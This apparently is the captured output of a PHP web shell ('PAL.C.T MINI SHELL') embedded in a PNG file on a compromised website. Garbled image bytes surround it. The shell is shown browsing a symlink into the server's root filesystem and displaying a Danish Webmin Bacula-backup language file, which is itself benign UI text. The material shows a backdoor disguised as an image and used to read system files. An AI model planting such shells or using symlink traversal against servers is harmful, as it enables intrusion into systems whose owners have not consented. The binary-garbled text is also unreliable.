php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/bacula-backup/lang/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/bacula-backup/lang/da.auto

index_echeck=$1 Måske er den ikke installeret, eller <a href='$2'>modulkonfiguration</a> er forkert.
index_edb=Kunne ikke oprette forbindelse til Bacula-databasen: $1 Måske er den ikke konfigureret, eller <a href='$2'>modulkonfiguration</a> er forkert.
index_eng=Kunne ikke oprette forbindelse til Bacula-gruppens database: $1. Måske findes den ikke, eller <a href='$2'>modulkonfiguration</a> er forkert.
index_econsole=Bacula-konsolkommandoen $1 kunne ikke kommunikere med Bacula-direktøren. Sørg for, at adgangskoden i $2 er korrekt.
index_econsole2=Bacula-konsolkommandoen $1 er ikke konfigureret med en gyldig Bacula-direktør vært. Den bruger i øjeblikket $2, som ikke findes.
index_fixpass=Klik her for at rette konsoladgangskoden
index_fixaddr=Klik her for at ordne Bacula Director-værten
index_stop=Stop Bacula
index_stopdesc=Klik på denne knap for at lukke ovennævnte Bacula daemon-processer.
index_start=Start Bacula
index_startdesc=Klik på denne knap for at starte ovenstående Bacula daemon-processer.
index_restart=Genstart Bacula
index_restartdesc=Klik på denne knap for at stoppe og genstarte Bacula daemon-processerne ovenfor. Dette kan være nødvendigt for at aktivere lagerenhedskonfigurationer.
index_apply=Anvend konfiguration
index_applydesc=Klik på denne knap for at aktivere Bacula-direktørkonfigurationen vist ovenfor.
index_boot=Start ved opstart
index_bootdesc=Skift denne mulighed for at kontrollere, om Bacula startes ved systemstarttidspunktet eller ej.
index_status=Processtatus:
index_up=Op
index_down=ned
index_return=modul indeks
index_versionbacula=Bacula $1 
index_versionbareos=Bareos $1 
index_notrun=Sikkerhedskopier og andre operationer kan ikke udføres, da Bacula Directory-dæmonen er nede.
index_eversion=Dit system bruger Bacula version $2, men dette Webmin-modul understøtter kun version $1 og nyere.
index_dir=Direktørkonfiguration
index_sd=Storage Daemon-konfiguration
index_fd=File Daemon-konfiguration
index_groups=Bacula-gruppekonfiguration
index_actions=Sikkerhedskopier og gendan handlinger
index_ocmin=Bidraget af <a href=$2 target=_new>Linmin</a> </a>

connect_emysql=Kunne ikke indlæse databasens DBI-driver $1 
connect_elogin=Kunne ikke logge ind på databasen $1:$2.
connect_equery=Databasen $1 ser ikke ud til at indeholde Bacula-tabeller.
connect_equery2=Dette kan skyldes, at SQLite Perl-modulet, der er installeret, er for nyt og ikke understøtter det ældre SQLite-databaseformat, der bruges af Bacula.
connect_equery3=Databasen $1 ser ikke ud til at indeholde OC Bacula-gruppetabeller.
esql=SQL-fejl : $1 

check_edir=Bacula-konfigurationsmappen $1 blev ikke fundet på dit system.
check_ebacula=Bacula-kontrolkommandoen $1 blev ikke fundet.
check_econsole=Bacula-konsolkommandoen $1 blev ikke fundet.
check_edirector=Bacula-direktørkonfigurationsfilen $1 blev ikke fundet.
check_eclient=Dette system ser ud til at være en <a href='$2'>Bacula-klient</a> snarere end en instruktør.
check_econfigs=Der blev ikke fundet nogen Bacula-konfigurationsfiler i $1 
check_eservers=Der er ikke defineret nogen Webmin-servergrupper
check_engmod=OpenCountry Bacula-gruppemodulet er ikke installeret

proc_bacula-sd=Opbevaring dæmon
proc_bacula-fd=Fil-dæmon
proc_bacula-dir=Bacula Director daemon
proc_bareos-sd=Opbevaring dæmon
proc_bareos-fd=Fil-dæmon
proc_bareos-dir=Bacula Director daemon

stop_err=Kunne ikke stoppe Bacula
start_err=Kunne ikke starte Bacula
start_einit=Der blev ikke fundet noget init-script til $1 
start_erun=Kunne ikke starte $1 : $2 
restart_err=Kunne ikke genstarte Bacula
apply_err=Kunne ikke anvende konfiguration
apply_failed=Der blev fundet en konfigurationsfejl
apply_problem=Kunne ikke anvende konfiguration : $1 

jobs_title=Backupjob
jobs_none=Der er endnu ikke defineret nogen sikkerhedskopieringsjob.
jobs_name=Job navn
jobs_deftype=Standarder?
jobs_type=Jobtype
jobs_client=Klient til sikkerhedskopi
jobs_fileset=Fil indstillet til sikkerhedskopiering
jobs_schedule=Backup plan
jobs_add=Tilføj et nyt backupjob.
jobs_delete=Slet valgte job
jobs_return=liste over job
jobs_derr=Kunne ikke slette job

filesets_title=Filsæt
filesets_none=Der er ikke defineret nogen sikkerhedskopifilsæt endnu.
filesets_name=Filsætnavn
filesets_files=Inkluderede filer
filesets_add=Tilføj et nyt sikkerhedskopifilsæt.
filesets_delete=Slet valgte filsæt
filesets_return=liste over filsæt
filesets_derr=Kunne ikke slette filsæt
filesets_ednone=Ingen valgt

fileset_title1=Opret filsæt
fileset_title2=Rediger filsæt
fileset_header=Detaljer om sikkerhedskopieringsfil
fileset_egone=Filsæt eksisterer ikke længere!
fileset_name=Filsætnavn
fileset_include=Filer og mapper, der skal sikkerhedskopieres
fileset_exclude=Filer og mapper, der skal springes over
fileset_sig=Filsignaturtype
fileset_none=Ingen
fileset_md5=MD5
fileset_err=Kunne ikke gemme filsættet
fileset_ename=Manglende filsætnavn
fileset_eclash=Et filsæt med samme navn findes allerede
fileset_echild=Dette filsæt kan ikke slettes, da det bruges af $1 
fileset_comp=Komprimeringstype
fileset_gzipdef=&lt;Standard komprimeringsniveau&gt;
fileset_lzo=LZO-komprimering
fileset_gzip=Gzip-niveau $1 
fileset_onefs=Begrænse sikkerhedskopi til et filsystem?

clients_title=Backup-klienter
clients_none=Der er endnu ikke defineret nogen backup-klienter.
clients_name=Kundenavn
clients_address=Værtsnavn eller adresse
clients_catalog=Katalog
clients_add=Tilføj en ny backup-klient.
clients_delete=Slet valgte klienter
clients_return=liste over klienter
clients_derr=Kunne ikke slette klienter

client_title1=Opret backup-klient
client_title2=Rediger sikkerhedskopi-klient
client_header=Detaljer om klienten, der skal sikkerhedskopieres
client_egone=Klient eksisterer ikke længere!
client_name=Klientens FD-navn
client_address=Værtsnavn eller IP-adresse
client_port=Bacula FD-port
client_pass=Bacula FD adgangskode
client_catalog=Katalog til brug
client_prune=Beskær udløbne job og filer?
client_fileret=Gem sikkerhedskopier til
client_jobret=Gem sikkerhedskopier til
client_err=Kunne ikke gemme backup-klienten
client_ename=Manglende eller ugyldigt klientnavn
client_eclash=En klient med samme navn findes allerede
client_epass=Manglende adgangskode
client_eaddress=Manglende eller ugyldig værtsnavn eller adresse
client_eport=Manglende eller ugyldig FD-port
client_efileret=Manglende eller ugyldig filopbevaringsperiode
client_ejobret=Manglende eller ugyldig jobopbevaringsperiode
client_echild=Denne klient kan ikke slettes, da den bruges af $1 
client_status=Vis status

job_title1=Opret sikkerhedskopieringsjob
job_title2=Rediger sikkerhedskopieringsjob
job_header=Detaljer om sikkerhedskopieringsopgaver
job_name=Navn på sikkerhedskopijob
job_enabled=Backupjob aktiveret?
job_def=Standardtype
job_def0=Standard definiton
job_def1=Selvstændigt job
job_def2=Arv er standard fra $1 
job_type=Jobtype
job_level=Sikkerhedskopieniveau
job_client=Klient til sikkerhedskopi
job_fileset=Fil indstillet til sikkerhedskopiering
job_schedule=Backup i henhold til planen
job_storage=Destination lagringsenhed
job_pool=Volumen pool
job_messages=Destination for meddelelser
job_prority=Backupprioritet
job_err=Kunne ikke gemme backupjob
job_ename=Manglende eller ugyldigt jobnavn
job_eclash=Et job med samme navn findes allerede
job_epriority=Manglende eller ugyldigt prioritetsnummer
job_echild=Denne standardjobdefinition kan ikke slettes, da den bruges af $1 
job_run=Kør nu
job_before=Kommando inden job
job_after=Kommando efter job
job_cbefore=Kommando før job (på klient)
job_cafter=Kommando efter job (på klient)

schedules_title=Backupplaner
schedules_none=Der er endnu ikke defineret nogen sikkerhedskopier.
schedules_name=Planlæg navn
schedules_sched=Kør niveauer og tider
schedules_add=Tilføj en ny backupplan.
schedules_delete=Slet valgte planer
schedules_return=liste over tidsplaner
schedules_derr=Kunne ikke slette skemaer

schedule_title1=Opret sikkerhedskopieringsplan
schedule_title2=Rediger sikkerhedskopieringsplan
schedule_header=Detaljer om sikkerhedskopieringsskema
schedule_name=Navn på sikkerhedskopieringsplan
schedule_runs=Kør niveauer og tider
schedule_level=Sikkerhedskopieniveau
schedule_pool=Bind
schedule_times=Kør til tider
schedule_err=Kunne ikke gemme sikkerhedskopieringsplanen
schedule_ename=Manglende eller ugyldigt tidsplannavn
schedule_eclash=Der findes allerede en tidsplan med samme navn
schedule_etimes=Manglende sikkerhedstider i række $1 
schedule_echild=Denne plan kan ikke slettes, da den bruges af $1 

backup_title=Kør sikkerhedskopieringsjob
backup_header=Detaljer om sikkerhedskopieringsopgaver
backup_job=Job at køre
backup_jd=$1 (Filsæt $2 på $3)
backup_wait=Vent på resultater?
backup_ok=Backup nu
backup_run=Start af backupjob $1 ..
backup_return=backup form
backup_ejob=.. kunne ikke finde et job!
backup_eok=.. job kunne ikke startes
backup_running=.. backupjobet kører nu. Når det er afsluttet, vises resultaterne nedenfor ..
backup_running2=.. sikkerhedskopieringsjobbet er startet i baggrunden.
backup_done=.. sikkerhedskopiering komplet.
backup_failed=.. sikkerhedskopien blev ikke fuldført. Tjek fejlmeddelelsen ovenfor for detaljer.

gbackup_title=Kør Bacula Group Backup Job
gbackup_run=Start af backupjob $1 på $2 klienter ..
gbackup_on=Køres backupjob på klient $1  :
gbackup_header=Oplysninger om Bacula-gruppe backup-job
gbackup_jd=$1 (Filsæt $2 på gruppe $3)

dirstatus_title=Direktørstatus
dirstatus_sched=Planlagte sikkerhedskopieringsjob
dirstatus_name=Job navn
dirstatus_type=Type
dirstatus_level=Niveau
dirstatus_date=Kør kl
dirstatus_date2=Begyndte kl
dirstatus_volume=Bind
dirstatus_schednone=Der er i øjeblikket ingen sikkerhedskopieringsjob.
dirstatus_id=Kør ID
dirstatus_status=Nuværende status
dirstatus_run=Kører sikkerhedskopieringsjob
dirstatus_runnone=Der kører i øjeblikket ingen sikkerhedskopieringsjob.
dirstatus_done=Udførte sikkerhedskopieringsjob
dirstatus_bytes=Størrelse
dirstatus_files=Filer
dirstatus_status2=status
dirstatus_donenone=Der er ikke kørt nogen sikkerhedskopieringsjob.
dirstatus_cancel=Annuller valgte job
dirstatus_refresh=Opdater liste

clientstatus_title=Klientstatus
clientstatus_err=Kunne ikke hente status fra $1 : $2 
clientstatus_msg=Status fra $1 : $2 
clientstatus_show=Vis klientens status:
clientstatus_ok=Okay
clientstatus_on=$1 (på $2)

storages_title=Opbevaring dæmoner
storages_none=Der er endnu ikke defineret nogen lagringsdemoner.
storages_name=Lagringsnavn
storages_address=Værtsnavn eller adresse
storages_device=Lagerenhed
storages_type=Medietype
storages_add=Tilføj en ny lagerdemon.
storages_delete=Slet valgte lagringsdæmoner
storages_return=liste over opbevaring dæmoner
storages_derr=Kunne ikke slette lagringsdemoner

storage_title1=Opret Storage Daemon
storage_title2=Rediger Storage Daemon
storage_header=Detaljer om fjernlagringsdemon
storage_egone=Opbevaring daemon findes ikke længere!
storage_name=Opbevaring daemon navn
storage_address=Værtsnavn eller IP-adresse
storage_port=Bacula SD-port
storage_pass=Bacula SD adgangskode
storage_device=Lagringsenheds navn
storage_media=Medietype navn
storage_maxjobs=Maksimale samtidige job
storage_other=Andet ..
storage_err=Kunne ikke gemme lagerdemon
storage_ename=Manglende lagringsdemonnavn
storage_eclash=Der findes allerede en lagringsdemon med samme navn
storage_epass=Manglende adgangskode
storage_eaddress=Manglende eller ugyldig værtsnavn eller adresse
storage_eport=Manglende eller ugyldig SD-port
storage_edevice=Manglende lagerenhedsnavn
storage_emedia=Manglende medietype navn
storage_emaxjobs=Manglende maksimale samtidige job
storage_echild=Denne klient kan ikke slettes, da den bruges af $1 
storage_status=Vis status

devices_title=Lagringsenheder
devices_none=Der er endnu ikke defineret nogen lagerenheder.
devices_name=Enhedsnavn
devices_device=Enhedsfil eller bibliotek
devices_type=Medietype
devices_add=Tilføj en ny lagerenhed.
devices_delete=Slet valgte lagringsenheder
devices_return=liste over lagerenheder
devices_derr=Kunne ikke slette lagringsenheder

device_title1=Opret lagringsenhed
device_title2=Rediger lagerenhed
device_header=Detaljer om fillagringsenhed
device_egone=Opbevaringsenhed findes ikke længere!
device_name=Lagringsenheds navn
device_device=Arkiver enhed eller bibliotek
device_media=Medietype navn
device_label=Etiketter medier automatisk?
device_random=Tilfældig adgangsmedium?
device_auto=Monteres automatisk?
device_removable=Flytbare medier?
device_always=Holder du altid åben?
device_err=Kunne ikke gemme lagerenheden
device_ename=Manglende lagerenhedsnavn
device_eclash=En lagerenhed med samme navn findes allerede
device_emedia=Manglende medietype navn
device_edevice=Manglende eller ugyldig arkivenhed eller katalog
device_echild=Denne klient kan ikke slettes, da den bruges af $1 

storagestatus_title=Storage Daemon Status
storagestatus_err=Kunne ikke hente status fra $1 : $2 
storagestatus_msg=Status fra $1 : $2 
storagestatus_show=Vis status for opbevaring daemon:
storagestatus_ok=Okay

label_title=Etiketvolumen
label_header=Detaljer om volumen til etiketten
label_storage=Opbevaring dæmon til etiketten
label_pool=Opret i puljen
label_label=Nyt etiketnavn
label_ok=Mærk nu
label_return=etiketform
label_run=Mærkningsvolumen med $2 på opbevaring daemon $1.
label_estorage=.. lager daemon blev ikke fundet!
label_eexists=.. den specificerede etiket findes allerede.
label_efailed=.. mærkning mislykkedes! Kontroller fejlmeddelelsen ovenfor for årsagen.
label_done=.. mærkning vellykket.
label_epool=.. kunne ikke finde pool!
label_err=Etiketten mislykkedes
label_elabel=Ingen etiket er indtastet

pools_title=Volume Pools
pools_none=Der er endnu ikke defineret nogen volumenpooler.
pools_name=Pool navn
pools_type=Pool type
pools_reten=Tilbageholdelsesperiode
pools_add=Tilføj en ny volumenpulje.
pools_delete=Slet valgte volumenpuljer
pools_return=liste over volumenpooler
pools_derr=Kunne ikke slette volumenpuljer

pool_title1=Opret volumenpulje
pool_title2=Rediger lydstyrkepulje
pool_header=Detaljer om sikkerhedskopieringsvolumen pool
pool_egone=Volumen pool findes ikke længere!
pool_name=Volumen pool navn
pool_recycle=Genanvend automatisk volumen?
pool_auto=Beskær udløbne mængder?
pool_any=Sikkerhedskopiér til nogen lydstyrke i puljen?
pool_reten=Volumenretentionsperiode
pool_type=Volumen pool type
pool_max=Maksimum job pr. Volumen
pool_unlimited=Ubegrænset
pool_err=Kunne ikke gemme lagerenheden
pool_ename=Manglende lagerenhedsnavn
pool_eclash=En lagerenhed med samme navn findes allerede
pool_echild=Denne klient kan ikke slettes, da den bruges af $1 
pool_emax=Manglende eller ugyldigt maksimum antal job pr. Volumen
pool_ereten=Manglende eller ugyldig opbevaringsperiode
pool_status=Vis bind
pool_autolabel=Mærk automatisk mængde præfiks
pool_maxvolsize=Maksimal volumenstørrelse (f.eks. 5G for 5 Gigabyte)

poolstatus_title=Mængder i puljen
poolstatus_show=Vis bind i poolen:
poolstatus_ok=Okay
poolstatus_volumes=Mængder i valgt pool
poolstatus_name=Volumenavn
poolstatus_type=Medietype
poolstatus_first=Først brugt
poolstatus_last=Sidst brugt
poolstatus_bytes=Bytes skrevet
poolstatus_status=Backuptilstand
poolstatus_none=Der er i øjeblikket ingen bind i denne backup-pool.
poolstatus_never=Aldrig
poolstatus_delete=Slet valgte bind

dvolumes_err=Kunne ikke slette bindene
dvolumes_enone=Ingen valgt
dvolumes_ebacula=Bacula-fejl : $1 

mount_title=Montering eller afmontering
mount_header=Opbevaringsmontering eller fjern montering
mount_storage=Lagerenhed
mount_slot=Auto-loader slot
mount_noslot=Ingen
mount_slotno=Slot nummer
mount_mount=Montering af opbevaring
mount_unmount=Fjern montering af opbevaring
mount_run=Monteringsvolumen på lagerenheden $1 ..
unmount_run=Afmontering af lydstyrke på lagerenhed $1 ..
mount_done=.. monteret med succes.
unmount_done=.. afmonteret med succes.
mount_failed=.. montering mislykkedes! Se fejlmeddelelsen ovenfor af grunden til.
unmount_failed=.. un-mount mislykkedes! Se fejlmeddelelsen ovenfor af grunden til.
mount_return=monter form
mount_err=Kunne ikke montere lagerenheden
mount_eslot=Manglende eller ugyldigt slotnummer

cancel_err=Kunne ikke annullere job
cancel_enone=Ingen valgt

gjobs_title=Bacula Group Backup Jobs
gjobs_none=Der er endnu ikke defineret nogen sikkerhedskopieringsjob for Bacula-gruppe.
gjobs_add=Tilføj et nyt backup-job i Bacula-gruppen.
gjobs_delete=Slet valgte job
gjobs_return=liste over job i Bacula-gruppen
gjobs_derr=Kunne ikke slette Bacula-gruppejob
gjobs_client=Bacula-gruppe til sikkerhedskopi

gjob_title1=Opret Bacula Group Backup Job
gjob_title2=Rediger Bacula Group Backup Job
gjob_header=Oplysninger om Bacula-gruppe backup-job
gjob_client=Bacula-gruppe til sikkerhedskopi

groups_title=Bacula-grupper
groups_none=Der er endnu ikke valgt nogen Bacula-grupper til sikkerhedskopiering af Bacula.
groups_name=Gruppe navn
groups_port=FD-port
groups_add=Tilføj Bacula-gruppe:
groups_ok=Tilføje
groups_catalog=Katalog
groups_delete=Slet valgte Bacula-grupper
groups_return=liste over grupper
groups_derr=Kunne ikke slette grupper
groups_noadd=Der findes ingen Bacula-grupper, der skal vælges til sikkerhedskopiering.
groups_info=$1 ($2 medlemmer)
groups_already=Alle Bacula-grupper er allerede tilføjet.

group_title1=Opret Bacula Group
group_title2=Rediger Bacula Group
group_header=Detaljer om Bacula-gruppen, der skal sikkerhedskopieres
group_egone=Gruppen eksisterer ikke længere!
group_egone2=Bacula-gruppen findes ikke længere!
group_name=Bacula-gruppenavn
group_port=Bacula FD-port
group_err=Kunne ikke gemme Bacula-gruppen
group_eclash=En gruppe med samme navn findes allerede
group_members=Værter i Bacula-gruppen

sync_title=Bacula-gruppesynkronisering
sync_header=Automatiske Bacula-gruppe klientsynkroniseringsindstillinger
sync_sched=Synkroniseres efter planen?
sync_schedyes=Ja, til tider valgt nedenfor ..
sync_err=Kunne ikke gemme Bacula-gruppesynkronisering

log_create_client=Oprettede backup-klient $1 
log_modify_client=Ændret backup-klient $1 
log_delete_client=Sletet backupklient $1 
log_delete_clients=Slet $1 backup-klienter
log_create_fileset=Oprettet filsæt $1 
log_modify_fileset=Ændret filsæt $1 
log_delete_fileset=Slet filsæt $1 
log_delete_filesets=Slet $1 filsæt
log_create_job=Oprettet backupjob $1 
log_modify_job=Ændret backupjob $1 
log_delete_job=Sletet backupjob $1 
log_delete_jobs=Slet $1 backupjob
log_create_schedule=Oprettet sikkerhedskopi $1 
log_modify_schedule=Ændret backupskema $1 
log_delete_schedule=Slet backupskema $1 
log_delete_schedules=Slet $1 backupskemaer
log_create_pool=Oprettet volumen pool $1 
log_modify_pool=Ændret volumenpulje $1 
log_delete_pool=Slettet volumenpulje $1 
log_delete_pools=Slet $1 volumen puljer
log_create_storage=Oprettet opbevaring daemon $1 
log_modify_storage=Ændret lagerdæmon $1 
log_delete_storage=Slet lagringsdæmon $1 
log_delete_storages=$1 lagringsdemoner er slettet
log_create_device=Oprettet lagerenhed $1 
log_modify_device=Ændret lagerenhed $1 
log_delete_device=Slet lagerenhed $1 
log_delete_devices=Slet $1 lagerenheder
log_create_group=Oprettet Bacula-gruppe $1 
log_modify_group=Modificeret Bacula-gruppe $1 
log_delete_group=Slettet Bacula-gruppe $1 
log_delete_groups=Slet $1 Bacula-grupper
log_create_gjob=Oprettet Bacula-gruppe-backupjob $1 
log_modify_gjob=Ændret Bacula-gruppe-backupjob $1 
log_delete_gjob=Slet Bacula-gruppe-backupjob $1 
log_delete_gjobs=Slet $1 Bacula-gruppe-backup-job
log_create_fdirector=Oprettet fil daemon-instruktør $1 
log_modify_fdirector=Ændret fil daemon-direktør $1 
log_delete_fdirector=Slettet fildemon-direktør $1 
log_delete_fdirectors=Slet $1 fil daemon-direktører
log_create_sdirector=Oprettet opbevaring af dæmondirektør $1 
log_modify_sdirector=Ændret opbevaring af dæmondirektør $1 
log_delete_sdirector=Slettet opbevaring af dæmondirektør $1 
log_delete_sdirectors=Direktører af $1 opbevaring af dæmon er slettet
log_stop=Stopede Bacula-dæmoner
log_start=Startede Bacula-dæmoner
log_apply=Anvendt konfiguration
log_restart=Genstartede Bacula-dæmoner
log_backup=Startet backupjob $1 
log_gbackup=Startede Bacula-gruppe-backupjob $1 
log_label=Mærket oplagringsdemon $1 
log_mount=Monteret lagerenhed $1 
log_unmount=Umonteret lagerenhed $1 
log_sync=Gemt Bacula-gruppesynkronisering
log_director=Gemt global Bacula-direktørkonfiguration
log_file=Gemt Bacula-fildemonskonfiguration
log_storagec=Gemt Bacula-opbevaring daemon konfiguration
log_fixpass=Fast Bacula-konsol-programadgangskode

director_title=Direktørkonfiguration
director_header=Globale Bacula-direktørindstillinger
director_name=Instruktør navn
director_port=Lyt på havn
director_jobs=Maksimale samtidige job
director_messages=Destination for meddelelser
director_enone=Ingen direktekonfiguration fundet!
director_dir=Bacula arbejdsmappe
director_err=Kunne ikke gemme direktørkonfiguration
director_ename=Manglende eller ugyldigt instruktørnavn
director_eport=Manglende eller ugyldigt portnummer
director_ejobs=Manglende eller ugyldigt antal samtidige job
director_edir=Manglende eller ikke-eksisterende arbejdsmappe

tls_enable=Vil du aktivere TLS-kryptering?
tls_require=Kun acceptere TLS-forbindelser?
tls_verify=Bekræfte TLS-klienter?
tls_cert=TLS PEM-certifikatfil
tls_key=TLS PEM-nøglefil
tls_cacert=TLS PEM certifikat autoritetsfil
tls_none=Ingen
tls_ecert=Manglende eller ikke-eksisterende TLS-certifikatfil
tls_ekey=Manglende eller ikke-eksisterende TLS-nøglefil
tls_ecacert=Manglende eller ikke-eksisterende TLS CA-certifikatfil
tls_ecerts=For at TLS skal være aktiveret, skal certifikat-, nøgle- og CA-filer specificeres

file_title=File Daemon-konfiguration
file_header=Valg af Bacula-fil-dæmon
file_name=File daemon navn
file_port=Lyt på havn
file_jobs=Maksimale samtidige job
file_dir=Bacula arbejdsmappe
file_enone=Der blev ikke fundet nogen konfiguration af fildemonen!
file_err=Kunne ikke gemme konfiguration af fildemonen
file_ename=Manglende eller ugyldigt fildemons navn
file_eport=Manglende eller ugyldigt portnummer
file_ejobs=Manglende eller ugyldigt antal samtidige job
file_edir=Manglende eller ikke-eksisterende arbejdsmappe

fdirectors_title=File Daemon-direktører
fdirectors_none=Der er endnu ikke defineret nogen direktører.
fdirectors_name=Instruktør navn
fdirectors_pass=Accepteret adgangskode
fdirectors_add=Tilføj en ny instruktør.
fdirectors_delete=Slet valgte direktører
fdirectors_return=liste over direktører
fdirectors_derr=Kunne ikke slette direktører

fdirector_title1=Opret File Daemon Director
fdirector_title2=Rediger File Daemon Director
fdirector_header=Detaljer om kontrol af fjerndirektør
fdirector_egone=Direktør eksisterer ikke længere!
fdirector_name=Instruktør navn
fdirector_pass=Accepteret adgangskode
fdirector_monitor=Tillad kun overvågningsforbindelse?
fdirector_err=Kunne ikke gemme filedemon-direktøren
fdirector_ename=Manglende instruktørnavn
fdirector_eclash=Der findes allerede en instruktør med samme navn
fdirector_epass=Manglende adgangskode

sdirectors_title=Storage Daemon-direktører
sdirectors_none=Der er endnu ikke defineret nogen direktører.
sdirectors_name=Instruktør navn
sdirectors_pass=Accepteret adgangskode
sdirectors_add=Tilføj en ny instruktør.
sdirectors_delete=Slet valgte direktører
sdirectors_return=liste over direktører
sdirectors_derr=Kunne ikke slette direktører

sdirector_title1=Opret Storage Daemon Director
sdirector_title2=Rediger Storage Daemon Director
sdirector_header=Detaljer om kontrol af fjerndirektør
sdirector_egone=Direktør eksisterer ikke længere!
sdirector_name=Instruktør navn
sdirector_pass=Accepteret adgangskode
sdirector_monitor=Tillad kun overvågningsforbindelse?
sdirector_err=Kunne ikke gemme opbevaring af dæmondirektør
sdirector_ename=Manglende instruktørnavn
sdirector_eclash=Der findes allerede en instruktør med samme navn
sdirector_epass=Manglende adgangskode

storagec_title=Storage Daemon-konfiguration
storagec_header=Valg af Bacula-opbevaring daemon
storagec_name=Daemon navn
storagec_port=Lyt på havn
storagec_jobs=Maksimale samtidige job
storagec_enone=Der blev ikke fundet nogen opsætningsdemonkonfiguration!
storagec_dir=Bacula arbejdsmappe
storagec_err=Kunne ikke gemme konfiguration af lagerdemon
storagec_ename=Manglende eller ugyldigt lagedemon-navn
storagec_eport=Manglende eller ugyldigt portnummer
storagec_ejobs=Manglende eller ugyldigt antal samtidige job
storagec_edir=Manglende eller ikke-eksisterende arbejdsmappe

chooser_title=Vælg tidsplan
chooser_monthsh=Måneder at udføre
chooser_months=Måneder af året
chooser_all=Alle
chooser_sel=Valgt nedenfor ..
chooser_ok=Okay
chooser_timeh=Tid på dagen for at udføre
chooser_time=Time og minut
chooser_weekdaysh=Ugens dage der skal udføres
chooser_weekdays=Ugens dage
chooser_weekdaynums=Antal i måned
chooser_daysh=Dage i måneden, der skal udføres
chooser_days=Datoer
chooser_err=Kunne ikke vælge tidsplan
chooser_emonths=Ingen måneder valgt
chooser_eweekdays=Ingen ugedage valgt
chooser_eweekdaynums=Der er ikke valgt antal ugedage
chooser_edays=Ingen valgte dage i den måned
chooser_ehour=Manglende eller ugyldig time på dagen
chooser_eminute=Manglende eller ugyldigt minut
chooser_emonthsrange=De valgte måneder skal være sammenhængende
chooser_eweekdaysrange=De valgte ugedage skal være sammenhængende
chooser_eweekdaynumsrange=Valgte antal ugedage skal være sammenhængende
chooser_edaysrange=De valgte dage i måneden skal være sammenhængende

weekdaynum_1=Først
weekdaynum_2=Anden
weekdaynum_3=Tredje
weekdaynum_4=Fjerde
weekdaynum_5=femte

restore_title=Gendan sikkerhedskopi
restore_title2=Gendan sikkerhedskopi til Bacula-gruppen
restore_title3=Gendan Bacula Group Backup
restore_header=Valgmuligheder til gendannelse af tidligere backupjob
restore_job=Job at gendanne
restore_files=Filer, der skal gendannes
restore_client=Gendan til klient eller gruppe
restore_storage=Gendan fra lagerenheden
restore_where=Gendan til katalog
restore_where2=Andet rodkatalog
restore_ewhere=Manglende mappe, der skal gendannes til
restore_ok=Gendan nu
restore_err=Kunne ikke gendanne sikkerhedskopien
restore_efiles=Ingen filer er indtastet
restore_ejob=Ugyldigt job-id
restore_ejobfiles=Ingen filer er optaget til job
restore_run=Starter gendannelse af job $1 til klient $2 fra lager $3.
restore_return=gendanne form
restore_eok=.. job kunne ikke startes
restore_running=.. gendannelsen kører nu. Når det er afsluttet, vises resultaterne nedenfor ..
restore_running2=.. gendannelsen er startet i baggrunden.
restore_done=.. gendannelse komplet.
restore_failed=.. gendannelsen blev ikke fuldført. Tjek fejlmeddelelsen ovenfor for detaljer.
restore_clist=--Clients--
restore_glist=- Bacula-grupper--
restore_eclient=Ingen klient eller Bacula-gruppe valgt
restore_egroup=Bacula-gruppen findes ikke
restore_jlist=- Enkelt-system job--
restore_njlist=--Bacula Groups job--
restore_all=- Alle klienter i gruppe--
restore_eclients=Der blev ikke fundet nogen medlemmer af backup af Bacula-gruppen!
restore_eall1=Valg <b>Alle klienter i sikkerhedskopi</b> skal vælges til <b>Gendan til klient eller gruppe</b>, når der udføres en gendannelse af Bacula-gruppejob
restore_eall2=Valg <b>Alle klienter i sikkerhedskopi</b> kan kun vælges til <b>Gendan til klient eller gruppe</b>, når du udfører en gendannelse af Bacula-gruppejob
restore_enofiles=Ingen af de valgte filer er i sikkerhedskopien
restore_level_F=Fuld
restore_level_D=Differential
restore_level_I=Trinvis
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`